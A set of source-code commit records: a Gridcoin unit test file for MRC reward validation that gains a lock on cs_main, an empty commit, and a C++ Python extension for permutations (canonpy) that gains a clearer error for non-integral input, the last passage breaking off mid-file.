mrc};\n\n    GRC::Claim claim;\n    BOOST_CHECK(CreateGridcoinReward(block, pindex->pprev, reward, claim));\n\n    BOOST_CHECK(CreateMRCRewards(block, mrc_map, mrc_tx_map, claim, wallet));\n\n    \/\/ TODO(div72): Separate this test into pieces and actually have it do\n    \/\/ some useful testing by testing the validation logic against it.\n    \/\/ Currently the miner code is too coupled together which makes this\n    \/\/ infeasible without having a mess of spaghetti code for working\n    \/\/ around this.\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<commit_msg>Ensure cs_main is locked in mrc_tests.cpp<commit_after>\/\/ Copyright (c) 2022 The Gridcoin developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or https:\/\/opensource.org\/licenses\/mit-license.php.\n\n#include <boost\/test\/unit_test.hpp>\n\n#include <main.h>\n#include <gridcoin\/account.h>\n#include <gridcoin\/beacon.h>\n#include <gridcoin\/cpid.h>\n#include <gridcoin\/mrc.h>\n#include <gridcoin\/tally.h>\n#include <key.h>\n#include <miner.h>\n#include <primitives\/transaction.h>\n#include <rpc\/blockchain.h>\n#include <test\/test_gridcoin.h>\n\nnamespace {\nstruct Setup {\n    CBlockIndex* pindex{nullptr};\n    GRC::Cpid cpid = GRC::Cpid(InsecureRandBytes(16));\n    GRC::ResearchAccount& account = GRC::Tally::CreateAccount(cpid);\n    CWallet* wallet = new CWallet();\n    GRC::Beacon beacon;\n    CKey key;\n\n    Setup() {\n        GRC::GetBeaconRegistry().Reset();\n        SelectParams(CBaseChainParams::MAIN);\n\n        \/\/ Setup a mock chain.\n        uint256* phash = new uint256(InsecureRandBytes(32));\n        pindex = GRC::MockBlockIndex::InsertBlockIndex(*phash);\n        pindexGenesisBlock = pindex;\n        pindex->nVersion = 12;\n        pindex->phashBlock = phash;\n        \/\/ Needed because this code does not mock superblocks and inclusion of m_accrual\n        \/\/ into the calculated accrual is dependant on a block's height being\n        \/\/ lower than the last superblock's.\n        \/\/ TODO(div72): Improve mockability of Tally.\n        pindex->nHeight = -1;\n        mapBlockIndex[pindex->GetBlockHash()] = pindex;\n        for (int i = 1; i < Params().GetConsensus().MRCZeroPaymentInterval \/ (24 * 60 * 60) + 2; ++i) {\n            phash = new uint256(InsecureRandBytes(32));\n            CBlockIndex* pindexNext = GRC::MockBlockIndex::InsertBlockIndex(*phash);\n            pindexNext->nHeight = i;\n            pindexNext->nTime = pindex->nTime + 24 * 60 * 60;\n            pindexNext->nVersion = 12;\n            pindex->pnext = pindexNext;\n            pindexNext->pprev = pindex;\n            pindexNext->phashBlock = phash;\n            pindex = pindexNext;\n        }\n\n        \/\/ These tests were written with these assumptions. If this statement\n        \/\/ does not hold true in the future, please update.\n        assert(pindex->nHeight >= 7);\n        assert(pindex->nHeight < 179);\n\n        CTransaction tx;\n        tx.nTime = pindexGenesisBlock->nTime;\n\n        key.MakeNewKey(false);\n        wallet->AddKey(key);\n\n        GRC::Contract contract = GRC::MakeContract<GRC::BeaconPayload>(\n                GRC::ContractAction::ADD,\n                cpid,\n                key.GetPubKey()\n        );\n\n        account.m_first_block_ptr = pindexGenesisBlock;\n        account.m_last_block_ptr = pindexGenesisBlock;\n\n        GRC::GetBeaconRegistry().Add({contract, tx, pindexGenesisBlock});\n        GRC::GetBeaconRegistry().ActivatePending({key.GetPubKey().GetID()}, tx.nTime, uint256(), 0);\n        beacon = *GRC::GetBeaconRegistry().TryActive(cpid, pindex->nTime);\n\n        SetMockTime(1);\n\n        gArgs.ForceSetArg(\"forcecpid\", cpid.ToString());\n        GRC::Researcher::Reload({}, {});\n    }\n\n    ~Setup() {\n        GRC::GetBeaconRegistry().Reset();\n        gArgs.ForceSetArg(\"forcecpid\", \"\");\n        gArgs.ForceSetArg(\"email\", \"investor\");\n        GRC::Researcher::Reload();\n        gArgs.ForceSetArg(\"email\", \"\");\n        GRC::Tally::RemoveAccount(cpid);\n\n        SetMockTime(0);\n\n        for (CBlockIndex* tip = pindex; tip->pprev; tip = tip->pprev) {\n            mapBlockIndex.erase(tip->GetBlockHash());\n            delete tip->phashBlock;\n        }\n\n        mapBlockIndex.erase(pindexGenesisBlock->GetBlockHash());\n        delete pindexGenesisBlock->phashBlock;\n    }\n};\n} \/\/ Anonymous namespace\n\nBOOST_FIXTURE_TEST_SUITE(MRC, Setup)\n\nBOOST_AUTO_TEST_CASE(it_properly_records_blocks)\n{\n    pindex->AddMRCResearcherContext(cpid, 72, 0.0);\n    pindex->pprev->pprev->SetResearcherContext(cpid, 72, 0.0);\n    pindex->pprev->pprev->pprev->pprev->AddMRCResearcherContext(cpid, 72, 0.0);\n    pindex->pprev->pprev->pprev->pprev->pprev->pprev->SetResearcherContext(cpid, 72, 0.0);\n\n    CBlockIndex* index{pindexGenesisBlock};\n    while (index) {\n        GRC::Tally::RecordRewardBlock(index);\n        index = index->pnext;\n    }\n\n    BOOST_CHECK(account.m_last_block_ptr == pindex->pprev);\n    GRC::Tally::ForgetRewardBlock(pindex);\n    BOOST_CHECK(account.m_last_block_ptr == pindex->pprev->pprev);\n    GRC::Tally::ForgetRewardBlock(pindex->pprev->pprev);\n    BOOST_CHECK(account.m_last_block_ptr == pindex->pprev->pprev->pprev->pprev->pprev);\n    GRC::Tally::ForgetRewardBlock(pindex->pprev->pprev->pprev->pprev);\n    BOOST_CHECK(account.m_last_block_ptr == pindex->pprev->pprev->pprev->pprev->pprev->pprev);\n    GRC::Tally::ForgetRewardBlock(pindex->pprev->pprev->pprev->pprev->pprev->pprev);\n\n    BOOST_CHECK(account.m_last_block_ptr == nullptr);\n    account.m_last_block_ptr = account.m_first_block_ptr;\n}\n\nBOOST_AUTO_TEST_CASE(it_has_proper_fees_for_newbies)\n{\n    GRC::MRC mrc;\n    mrc.m_mining_id = cpid;\n    mrc.m_research_subsidy = 72;\n\n    \/\/ Before:\n    mrc.m_last_block_hash = pindex->pprev->pprev->GetBlockHash();\n    BOOST_CHECK_EQUAL(mrc.ComputeMRCFee(), mrc.m_research_subsidy);\n\n    \/\/ At the border:\n    mrc.m_last_block_hash = pindex->pprev->GetBlockHash();\n    BOOST_CHECK_EQUAL(mrc.ComputeMRCFee(), 28);\n\n    \/\/ After:\n    mrc.m_last_block_hash = pindex->GetBlockHash();\n    BOOST_CHECK_EQUAL(mrc.ComputeMRCFee(), 26);\n}\n\nBOOST_AUTO_TEST_CASE(it_rejects_invalid_claims)\n{\n    GRC::MRC mrc;\n\n    mrc.m_mining_id = cpid;\n    mrc.m_client_version = \"6.0.0.0\";\n    mrc.m_last_block_hash = pindex->GetBlockHash();\n\n    BOOST_CHECK(!mrc.WellFormed()); \n\n    mrc.m_research_subsidy = 72;\n    account.m_accrual = 72;\n\n    mrc.Sign(key);\n    BOOST_CHECK(mrc.WellFormed());\n\n    BOOST_CHECK(!ValidateMRC(pindex, mrc));\n    \n    mrc.m_fee = mrc.ComputeMRCFee();\n    BOOST_CHECK(ValidateMRC(pindex, mrc));\n\n    mrc.m_research_subsidy = 9223372036854775807; \/\/ Get rich.\n    BOOST_CHECK(!ValidateMRC(pindex, mrc));\n    mrc.m_research_subsidy = 72;\n\n    mrc.m_last_block_hash = pindex->pprev->GetBlockHash(); \/\/ Older request.\n    mrc.Sign(key);\n    BOOST_CHECK(!ValidateMRC(pindex, mrc));\n    mrc.m_last_block_hash = pindex->GetBlockHash();\n    mrc.Sign(key);\n\n    mrc.m_fee = 0; \/\/ Tax evasion.\n    BOOST_CHECK(!ValidateMRC(pindex, mrc));\n}\n\nBOOST_AUTO_TEST_CASE(createmrc_creates_valid_mrcs)\n{\n    account.m_accrual = 72;\n    GRC::MRC mrc;\n    CAmount reward, fee;\n    GRC::CreateMRC(pindex->pprev, mrc, reward, fee, wallet);\n\n    BOOST_CHECK_EQUAL(reward, 72);\n    BOOST_CHECK_EQUAL(fee, 28);\n\n    BOOST_CHECK(mrc.WellFormed());\n    BOOST_CHECK(ValidateMRC(pindex->pprev, mrc));\n}\n\nBOOST_AUTO_TEST_CASE(it_creates_valid_mrc_claims)\n{\n    CBlock block;\n    block.vtx.resize(2);\n    block.vtx[1].vin.resize(1);\n    block.vtx[1].vout.resize(2);\n    std::map<GRC::Cpid, std::pair<uint256, GRC::MRC>> mrc_map;\n    std::map<GRC::Cpid, uint256> mrc_tx_map;\n\n    account.m_accrual = 72;\n    pindex->pprev->AddMRCResearcherContext(cpid, 72, 0.0);\n\n    BOOST_CHECK(CreateRestOfTheBlock(block, pindex->pprev, mrc_map));\n\n    GRC::MRC mrc;\n    CAmount reward, fee;\n    GRC::CreateMRC(pindex->pprev, mrc, reward, fee, wallet);\n    mrc_map[cpid] = {uint256{}, mrc};\n\n    GRC::Claim claim;\n\n    LOCK(cs_main);\n\n    BOOST_CHECK(CreateGridcoinReward(block, pindex->pprev, reward, claim));\n\n    BOOST_CHECK(CreateMRCRewards(block, mrc_map, mrc_tx_map, claim, wallet));\n\n    \/\/ TODO(div72): Separate this test into pieces and actually have it do\n    \/\/ some useful testing by testing the validation logic against it.\n    \/\/ Currently the miner code is too coupled together which makes this\n    \/\/ infeasible without having a mess of spaghetti code for working\n    \/\/ around this.\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>id 0 is handled differently now when playing back a sound<commit_after><|endoftext|>"}
{"text":"<commit_before>\/** Implementation of canonpy.\n *\/\n\n#include <canonpy.h>\n\n#include <Python.h>\n\n#include <algorithm>\n#include <string>\n#include <vector>\n\n#include <libcanon\/perm.h>\n\nusing libcanon::Simple_perm;\nusing libcanon::Point;\nusing libcanon::Point_vec;\n\n\/\/\n\/\/ Perm class\n\/\/ ==========\n\/\/\n\/\/ Internal functions\n\/\/ ------------------\n\/\/\n\/\/ These functions are not directly set to Python types but are used\n\/\/ internally.  They are also used by other parts of this extension.\n\/\/\n\n\/** Builds a tuple object for a permutation.\n *\n * This function creates a pair, where the first field is a list of integers\n * for the preimage array, and the second field is the accompanied action,\n * which is also encoded as an integer.\n *\/\n\nstatic PyObject* build_perm_to_tuple(const Simple_perm& perm)\n{\n\n    PyObject* pre_images = NULL;\n    PyObject* res = NULL;\n    PyObject* acc = NULL;\n    size_t size = perm.size();\n\n    pre_images = PyList_New(size);\n    if (!pre_images)\n        goto error;\n    for (size_t i = 0; i < size; ++i) {\n        PyObject* curr = Py_BuildValue(\"n\", perm >> i);\n        if (curr) {\n            PyList_SetItem(pre_images, i, curr);\n        } else {\n            goto error;\n        }\n    }\n\n    acc = Py_BuildValue(\"b\", perm.acc());\n    if (!acc)\n        goto error;\n\n    res = PyTuple_New(2);\n    if (!res)\n        goto error;\n\n    PyTuple_SET_ITEM(res, 0, pre_images);\n    PyTuple_SET_ITEM(res, 1, acc);\n\n    return (PyObject*)res;\n\nerror:\n    Py_XDECREF(pre_images);\n    Py_XDECREF(res);\n    Py_XDECREF(acc);\n    return NULL;\n}\n\n\/** Builds a permutation from its construction arguments.\n *\n * An iterable of positive integers for the pre-image array needs to be given\n * as the first argument.  The accompanied action can be optionally given as\n * another integral argument, or by the keyword ``acc``.\n *\n * If the arguments are not valid, an integer exception will be thrown and the\n * Python exception will be set.\n *\n * This function is designed to be compatible with the result from the function\n * `build_perm_to_tuple`.  However, more general input format is accepted.\n *\/\n\nstatic Simple_perm make_perm_from_args(PyObject* args, PyObject* kwargs)\n{\n    PyObject* pre_images;\n    char acc = 0;\n\n    \/\/ We only need a simple internal code, actual error is set to the Python\n    \/\/ stack.\n    constexpr int err_code = 1;\n\n    static char* kwlist[] = { \"pre_images\", \"acc\", NULL };\n\n    auto args_stat = PyArg_ParseTupleAndKeywords(\n        args, kwargs, \"O|b\", kwlist, &pre_images, &acc);\n\n    if (!args_stat)\n        throw err_code;\n\n    Point_vec pre_images_vec{};\n    std::vector<bool> image_set{};\n\n    PyObject* pre_images_iter = PyObject_GetIter(pre_images);\n    if (!pre_images_iter)\n        throw err_code;\n\n    \/\/ Iterator of pre-images is always going to be decrefed after the\n    \/\/ following block.  This boolean controls if we are going to return or\n    \/\/ throw.\n    bool if_err = false;\n\n    try {\n        PyObject* pre_image_obj;\n        while ((pre_image_obj = PyIter_Next(pre_images_iter))) {\n\n            if (!PyLong_Check(pre_image_obj)) {\n                throw err_code;\n            }\n            Point pre_image = PyLong_AsUnsignedLong(pre_image_obj);\n\n            \/\/ Release reference right here since its content is already\n            \/\/ extracted.  In this way, the error handling does not need to\n            \/\/ worry about it any more.\n            Py_DECREF(pre_image_obj);\n\n            if (PyErr_Occurred()) {\n                throw err_code;\n            }\n\n            pre_images_vec.push_back(pre_image);\n            size_t req_size = pre_image + 1;\n            if (image_set.size() < req_size)\n                image_set.resize(req_size, false);\n            if (image_set[pre_image]) {\n                std::string err_msg(\"The image of \");\n                err_msg.append(std::to_string(pre_image));\n                err_msg.append(\" has already been set.\");\n                PyErr_SetString(PyExc_ValueError, err_msg.c_str());\n                throw err_code;\n            } else {\n                image_set[pre_image] = true;\n            }\n        }\n\n        \/\/ Non StopIteration error.\n        if (PyErr_Occurred()) {\n            throw err_code;\n        }\n\n        auto first_not_set\n            = std::find(image_set.begin(), image_set.end(), false);\n        if (first_not_set != image_set.end()) {\n            std::string err_msg(\"The image of \");\n            err_msg.append(std::to_string(first_not_set - image_set.begin()));\n            err_msg.append(\" is not set.\");\n            PyErr_SetString(PyExc_ValueError, err_msg.c_str());\n            throw err_code;\n        }\n\n    } catch (int) {\n        if_err = true;\n    }\n\n    Py_DECREF(pre_images_iter);\n    if (if_err) {\n        throw err_code;\n    } else {\n        return Simple_perm(std::move(pre_images_vec), acc);\n    }\n}\n\n\/\/\n\/\/ Interface functions\n\/\/ -------------------\n\/\/\n\nconst static char* perm_getnewargs_doc\n    = \"Get the arguments for new to construct the Perm.\";\n\nstatic PyObject* perm_getnewargs(Perm_object* self)\n{\n    \/\/ Here we directly use the tuple format of a perm.\n\n    return build_perm_to_tuple(self->perm);\n}\n\n\/** Gets the size of the permutation domain of a Perm.\n *\/\n\nstatic Py_ssize_t perm_length(Perm_object* self)\n{\n    \/\/ The type should be the same, size_t and Py_ssize_t.\n\n    return self->perm.size();\n}\n\n\/** Gets the pre-image of a point.\n *\n * A new integer object will be built by this function.\n *\/\n\nstatic PyObject* perm_item(Perm_object* self, Py_ssize_t i)\n{\n    if (i < 0) {\n        PyErr_SetString(PyExc_IndexError, \"Points should be positive.\");\n        return NULL;\n    }\n    size_t idx = i;\n    if (idx >= self->perm.size()) {\n        PyErr_SetString(PyExc_IndexError, \"Point outside permutation domain\");\n        return NULL;\n    }\n\n    return Py_BuildValue(\"n\", self->perm >> i);\n}\n\n\/** Gets the accompanied action of a Perm.\n *\/\n\nstatic PyObject* perm_get_acc(Perm_object* self, void* closure)\n{\n    \/\/ Note that the accompanied action is a byte in simple perm.\n\n    return Py_BuildValue(\"b\", self->perm.acc());\n}\n\n\/** Deallocates a perm instance.\n *\/\n\nstatic void perm_dealloc(Perm_object* self)\n{\n    self->perm.~Simple_perm();\n\n    \/\/ For subclassing.\n    Py_TYPE(self)->tp_free((PyObject*)self);\n}\n\n\/** Forms the string representation of a Perm object.\n *\/\n\nstatic PyObject* perm_repr(Perm_object* self)\n{\n    const Simple_perm& perm = self->perm;\n\n    std::wstring repr(L\"Perm(\");\n\n    size_t size = perm.size();\n\n    if (size > 0) {\n        for (size_t i = 0; i < size; ++i) {\n            if (i == 0) {\n                repr.append(L\"[\");\n            } else {\n                repr.append(L\", \");\n            }\n            repr.append(std::to_wstring(perm >> i));\n        }\n        repr.append(L\"]\");\n\n        \/\/ Add the accompanied action only when we need.\n        char acc = perm.acc();\n        if (acc != 0) {\n            repr.append(L\", \");\n            repr.append(std::to_wstring(acc));\n        }\n    }\n\n    \/\/ This is used for empty or non-empty permutation.\n    repr.append(L\")\");\n\n    return PyUnicode_FromUnicode(repr.data(), repr.size());\n}\n\n\/** Creates a new Perm object.\n *\n * The actual work is delegated to the Python\/Perm interface function.\n *\/\n\nstatic PyObject* perm_new(PyTypeObject* type, PyObject* args, PyObject* kwargs)\n{\n    Perm_object* self;\n\n    \/\/ Pay attention to subclassing.\n    self = (Perm_object*)type->tp_alloc(type, 0);\n\n    if (!self)\n        return NULL;\n\n    Simple_perm perm{};\n    try {\n        perm = make_perm_from_args(args, kwargs);\n    } catch (int) {\n        Py_DECREF(self);\n        return NULL;\n    }\n\n    new (&self->perm) Simple_perm(std::move(perm));\n    return (PyObject*)self;\n}\n\n\/\/\n\/\/ Class definition\n\/\/ ----------------\n\/\/\n\n\/** Methods for Perm objects.\n *\/\n\nstatic PyMethodDef perm_methods[] = {\n    { \"__getnewargs__\", (PyCFunction)perm_getnewargs, METH_NOARGS,\n        perm_getnewargs_doc },\n    { NULL, NULL } \/* sentinel *\/\n};\n\n\/** Sequence operations for Perm objects.\n *\n * Here we only support size and pre-image query.\n *\/\n\n\/\/ clang-format off\nstatic PySequenceMethods perm_as_sequence = {\n    (lenfunc)perm_length,                       \/* sq_length *\/\n    0,                                          \/* sq_concat *\/\n    0,                                          \/* sq_repeat *\/\n    (ssizeargfunc)perm_item,                    \/* sq_item *\/\n    0,                                          \/* sq_slice *\/\n    0,                                          \/* sq_ass_item *\/\n    0,                                          \/* sq_ass_slice *\/\n    0                                           \/* sq_contains *\/\n};\n\/\/ clang-format on\n\n\/** Accessors for Perms.\n *\n * The accompanied action query is made here.\n *\/\n\n\/\/ clang-format off\nstatic PyGetSetDef perm_getsets[] = {\n    { \"acc\", (getter)perm_get_acc, NULL, \"The accompanied action.\", NULL },\n    { NULL }\n};\n\/\/ clang-format on\n\n\/** Perm type doc string.\n  *\/\n\nstatic const char* perm_doc =\n    R\"__doc__(Permutation of points with accompanied action.\n\nPermutations can be constructed from an iterable giving the pre-image of the\npoints and an optional integral value for the accompanied action.  The\naccompanied action can be given positionally or by the keyword ``acc``, and it\nwill be manipulated according to the convention in libcanon.\n\nQuerying the length of a Perm object gives the size of the permutation domain,\nwhile indexing it gives the pre-image of the given integral point.  The\naccompanied action can be obtained by getting the attribute ``acc``.\nOtherwise, this data type is mostly opaque.\n\n)__doc__\";\n\n\/** Type definition for Perm class.\n *\/\n\n\/\/ clang-format off\nstatic PyTypeObject perm_type = {\n    PyVarObject_HEAD_INIT(NULL, 0)\n    \"drudge.canonpy.Perm\",\n    sizeof(Perm_object),\n    0,\n    (destructor) perm_dealloc,                  \/* tp_dealloc *\/\n    0,                                          \/* tp_print *\/\n    0,                                          \/* tp_getattr *\/\n    0,                                          \/* tp_setattr *\/\n    0,                                          \/* tp_reserved *\/\n    (reprfunc) perm_repr,                       \/* tp_repr *\/\n    0,                                          \/* tp_as_number *\/\n    &perm_as_sequence,                          \/* tp_as_sequence *\/\n    0,                                          \/* tp_as_mapping *\/\n    0,                                          \/* tp_hash *\/\n    0,                                          \/* tp_call *\/\n    0,                                          \/* tp_str *\/\n    0, \/* In main. *\/                           \/* tp_getattro *\/\n    0,                                          \/* tp_setattro *\/\n    0,                                          \/* tp_as_buffer *\/\n    Py_TPFLAGS_DEFAULT,                         \/* tp_flags *\/\n    perm_doc,                                   \/* tp_doc *\/\n    0,                                          \/* tp_traverse *\/\n    0,                                          \/* tp_clear *\/\n    0,                                          \/* tp_richcompare *\/\n    0,                                          \/* tp_weaklistoffset *\/\n    0,                                          \/* tp_iter *\/\n    0,                                          \/* tp_iternext *\/\n    perm_methods,                               \/* tp_methods *\/\n    0,                                          \/* tp_members *\/\n    perm_getsets,                               \/* tp_getset *\/\n    0,                                          \/* tp_base *\/\n    0,                                          \/* tp_dict *\/\n    0,                                          \/* tp_descr_get *\/\n    0,                                          \/* tp_descr_set *\/\n    0,                                          \/* tp_dictoffset *\/\n    0,                                          \/* tp_init *\/\n    0,                                          \/* tp_alloc *\/\n    perm_new,                                   \/* tp_new *\/\n    0,                                          \/* tp_free *\/\n};\n\/\/ clang-format on\n\n\/\/\n\/\/ Python module definition\n\/\/ ========================\n\/\/\n\n\/** Docstring for the canonpy module.\n *\/\n\nstatic const char* canonpy_docstring\n    = R\"__doc__(Canonpy, simple wrapper over libcanon for Python.\n\nThis wrapper of libcanon is directly targeted towards usage using drudge.\nHere, we have a class `Perm`, which wraps over the `Simple_perm` class in\nlibcanon, another class `SimsTransv`, which wraps over the `Sims_trasv` class\nfor `Simple_perm`.  And we also have the function `canon_eldag` to canonicalize\nan Eldag.\n\n)__doc__\";\n\n\/** Methods in the canonpy module.\n *\/\n\nstatic PyMethodDef canonpy_methods[] = { { NULL, NULL, 0, NULL } };\n\n\/** Executes the initialization of the canonpy module.\n *\/\n\nstatic int canonpy_exec(PyObject* m)\n{\n    \/\/\n    \/\/ Add the class for Perm.\n    \/\/\n\n    perm_type.tp_getattro = PyObject_GenericGetAttr;\n    if (PyType_Ready(&perm_type) < 0)\n        return -1;\n    Py_INCREF(&perm_type);\n    PyModule_AddObject(m, \"Perm\", (PyObject*)&perm_type);\n\n    return 0;\n}\n\n\/** Slots for for canonpy module definition.\n *\/\n\nstatic struct PyModuleDef_Slot canonpy_slots[] = {\n    { Py_mod_exec, (void*)canonpy_exec }, { 0, NULL },\n};\n\n\/** Canonpy module definition.\n *\/\n\n\/\/ clang-format off\n\nstatic struct PyModuleDef canonpy_module = {\n    PyModuleDef_HEAD_INIT,\n    \"drudge.canonpy\",\n    canonpy_docstring,\n    0, \/\/ m-size\n    canonpy_methods,\n    canonpy_slots,\n    NULL, \/\/ Transverse\n    NULL, \/\/ Clear\n    NULL  \/\/ Free\n};\n\n\/\/ clang-format on\n\n\/** The published canonpy function.\n *\/\n\nPyMODINIT_FUNC PyInit_canonpy(void)\n{\n    return PyModuleDef_Init(&canonpy_module);\n}\n<commit_msg>Add error when point given to Perm is not integral<commit_after>\/** Implementation of canonpy.\n *\/\n\n#include <canonpy.h>\n\n#include <Python.h>\n\n#include <algorithm>\n#include <string>\n#include <vector>\n\n#include <libcanon\/perm.h>\n\nusing libcanon::Simple_perm;\nusing libcanon::Point;\nusing libcanon::Point_vec;\n\n\/\/\n\/\/ Perm class\n\/\/ ==========\n\/\/\n\/\/ Internal functions\n\/\/ ------------------\n\/\/\n\/\/ These functions are not directly set to Python types but are used\n\/\/ internally.  They are also used by other parts of this extension.\n\/\/\n\n\/** Builds a tuple object for a permutation.\n *\n * This function creates a pair, where the first field is a list of integers\n * for the preimage array, and the second field is the accompanied action,\n * which is also encoded as an integer.\n *\/\n\nstatic PyObject* build_perm_to_tuple(const Simple_perm& perm)\n{\n\n    PyObject* pre_images = NULL;\n    PyObject* res = NULL;\n    PyObject* acc = NULL;\n    size_t size = perm.size();\n\n    pre_images = PyList_New(size);\n    if (!pre_images)\n        goto error;\n    for (size_t i = 0; i < size; ++i) {\n        PyObject* curr = Py_BuildValue(\"n\", perm >> i);\n        if (curr) {\n            PyList_SetItem(pre_images, i, curr);\n        } else {\n            goto error;\n        }\n    }\n\n    acc = Py_BuildValue(\"b\", perm.acc());\n    if (!acc)\n        goto error;\n\n    res = PyTuple_New(2);\n    if (!res)\n        goto error;\n\n    PyTuple_SET_ITEM(res, 0, pre_images);\n    PyTuple_SET_ITEM(res, 1, acc);\n\n    return (PyObject*)res;\n\nerror:\n    Py_XDECREF(pre_images);\n    Py_XDECREF(res);\n    Py_XDECREF(acc);\n    return NULL;\n}\n\n\/** Builds a permutation from its construction arguments.\n *\n * An iterable of positive integers for the pre-image array needs to be given\n * as the first argument.  The accompanied action can be optionally given as\n * another integral argument, or by the keyword ``acc``.\n *\n * If the arguments are not valid, an integer exception will be thrown and the\n * Python exception will be set.\n *\n * This function is designed to be compatible with the result from the function\n * `build_perm_to_tuple`.  However, more general input format is accepted.\n *\/\n\nstatic Simple_perm make_perm_from_args(PyObject* args, PyObject* kwargs)\n{\n    PyObject* pre_images;\n    char acc = 0;\n\n    \/\/ We only need a simple internal code, actual error is set to the Python\n    \/\/ stack.\n    constexpr int err_code = 1;\n\n    static char* kwlist[] = { \"pre_images\", \"acc\", NULL };\n\n    auto args_stat = PyArg_ParseTupleAndKeywords(\n        args, kwargs, \"O|b\", kwlist, &pre_images, &acc);\n\n    if (!args_stat)\n        throw err_code;\n\n    Point_vec pre_images_vec{};\n    std::vector<bool> image_set{};\n\n    PyObject* pre_images_iter = PyObject_GetIter(pre_images);\n    if (!pre_images_iter)\n        throw err_code;\n\n    \/\/ Iterator of pre-images is always going to be decrefed after the\n    \/\/ following block.  This boolean controls if we are going to return or\n    \/\/ throw.\n    bool if_err = false;\n\n    try {\n        PyObject* pre_image_obj;\n        while ((pre_image_obj = PyIter_Next(pre_images_iter))) {\n\n            if (!PyLong_Check(pre_image_obj)) {\n                PyErr_SetString(PyExc_ValueError, \"Non-integral point given\");\n                throw err_code;\n            }\n            Point pre_image = PyLong_AsUnsignedLong(pre_image_obj);\n\n            \/\/ Release reference right here since its content is already\n            \/\/ extracted.  In this way, the error handling does not need to\n            \/\/ worry about it any more.\n            Py_DECREF(pre_image_obj);\n\n            if (PyErr_Occurred()) {\n                throw err_code;\n            }\n\n            pre_images_vec.push_back(pre_image);\n            size_t req_size = pre_image + 1;\n            if (image_set.size() < req_size)\n                image_set.resize(req_size, false);\n            if (image_set[pre_image]) {\n                std::string err_msg(\"The image of \");\n                err_msg.append(std::to_string(pre_image));\n                err_msg.append(\" has already been set.\");\n                PyErr_SetString(PyExc_ValueError, err_msg.c_str());\n                throw err_code;\n            } else {\n                image_set[pre_image] = true;\n            }\n        }\n\n        \/\/ Non StopIteration error.\n        if (PyErr_Occurred()) {\n            throw err_code;\n        }\n\n        auto first_not_set\n            = std::find(image_set.begin(), image_set.end(), false);\n        if (first_not_set != image_set.end()) {\n            std::string err_msg(\"The image of \");\n            err_msg.append(std::to_string(first_not_set - image_set.begin()));\n            err_msg.append(\" is not set.\");\n            PyErr_SetString(PyExc_ValueError, err_msg.c_str());\n            throw err_code;\n        }\n\n    } catch (int) {\n        if_err = true;\n    }\n\n    Py_DECREF(pre_images_iter);\n    if (if_err) {\n        throw err_code;\n    } else {\n        return Simple_perm(std::move(pre_images_vec), acc);\n    }\n}\n\n\/\/\n\/\/ Interface functions\n\/\/ -------------------\n\/\/\n\nconst static char* perm_getnewargs_doc\n    = \"Get the arguments for new to construct the Perm.\";\n\nstatic PyObject* perm_getnewargs(Perm_object* self)\n{\n    \/\/ Here we directly use the tuple format of a perm.\n\n    return build_perm_to_tuple(self->perm);\n}\n\n\/** Gets the size of the permutation domain of a Perm.\n *\/\n\nstatic Py_ssize_t perm_length(Perm_object* self)\n{\n    \/\/ The type should be the same, size_t and Py_ssize_t.\n\n    return self->perm.size();\n}\n\n\/** Gets the pre-image of a point.\n *\n * A new integer object will be built by this function.\n *\/\n\nstatic PyObject* perm_item(Perm_object* self, Py_ssize_t i)\n{\n    if (i < 0) {\n        PyErr_SetString(PyExc_IndexError, \"Points should be positive.\");\n        return NULL;\n    }\n    size_t idx = i;\n    if (idx >= self->perm.size()) {\n        PyErr_SetString(PyExc_IndexError, \"Point outside permutation domain\");\n        return NULL;\n    }\n\n    return Py_BuildValue(\"n\", self->perm >> i);\n}\n\n\/** Gets the accompanied action of a Perm.\n *\/\n\nstatic PyObject* perm_get_acc(Perm_object* self, void* closure)\n{\n    \/\/ Note that the accompanied action is a byte in simple perm.\n\n    return Py_BuildValue(\"b\", self->perm.acc());\n}\n\n\/** Deallocates a perm instance.\n *\/\n\nstatic void perm_dealloc(Perm_object* self)\n{\n    self->perm.~Simple_perm();\n\n    \/\/ For subclassing.\n    Py_TYPE(self)->tp_free((PyObject*)self);\n}\n\n\/** Forms the string representation of a Perm object.\n *\/\n\nstatic PyObject* perm_repr(Perm_object* self)\n{\n    const Simple_perm& perm = self->perm;\n\n    std::wstring repr(L\"Perm(\");\n\n    size_t size = perm.size();\n\n    if (size > 0) {\n        for (size_t i = 0; i < size; ++i) {\n            if (i == 0) {\n                repr.append(L\"[\");\n            } else {\n                repr.append(L\", \");\n            }\n            repr.append(std::to_wstring(perm >> i));\n        }\n        repr.append(L\"]\");\n\n        \/\/ Add the accompanied action only when we need.\n        char acc = perm.acc();\n        if (acc != 0) {\n            repr.append(L\", \");\n            repr.append(std::to_wstring(acc));\n        }\n    }\n\n    \/\/ This is used for empty or non-empty permutation.\n    repr.append(L\")\");\n\n    return PyUnicode_FromUnicode(repr.data(), repr.size());\n}\n\n\/** Creates a new Perm object.\n *\n * The actual work is delegated to the Python\/Perm interface function.\n *\/\n\nstatic PyObject* perm_new(PyTypeObject* type, PyObject* args, PyObject* kwargs)\n{\n    Perm_object* self;\n\n    \/\/ Pay attention to subclassing.\n    self = (Perm_object*)type->tp_alloc(type, 0);\n\n    if (!self)\n        return NULL;\n\n    Simple_perm perm{};\n    try {\n        perm = make_perm_from_args(args, kwargs);\n    } catch (int) {\n        Py_DECREF(self);\n        return NULL;\n    }\n\n    new (&self->perm) Simple_perm(std::move(perm));\n    return (PyObject*)self;\n}\n\n\/\/\n\/\/ Class definition\n\/\/ ----------------\n\/\/\n\n\/** Methods for Perm objects.\n *\/\n\nstatic PyMethodDef perm_methods[] = {\n    { \"__getnewargs__\", (PyCFunction)perm_getnewargs, METH_NOARGS,\n        perm_getnewargs_doc },\n    { NULL, NULL } \/* sentinel *\/\n};\n\n\/** Sequence operations for Perm objects.\n *\n * Here we only support size and pre-image query.\n *\/\n\n\/\/ clang-format off\nstatic PySequenceMethods perm_as_sequence = {\n    (lenfunc)perm_length,                       \/* sq_length *\/\n    0,                                          \/* sq_concat *\/\n    0,                                          \/* sq_repeat *\/\n    (ssizeargfunc)perm_item,                    \/* sq_item *\/\n    0,                                          \/* sq_slice *\/\n    0,                                          \/* sq_ass_item *\/\n    0,                                          \/* sq_ass_slice *\/\n    0                                           \/* sq_contains *\/\n};\n\/\/ clang-format on\n\n\/** 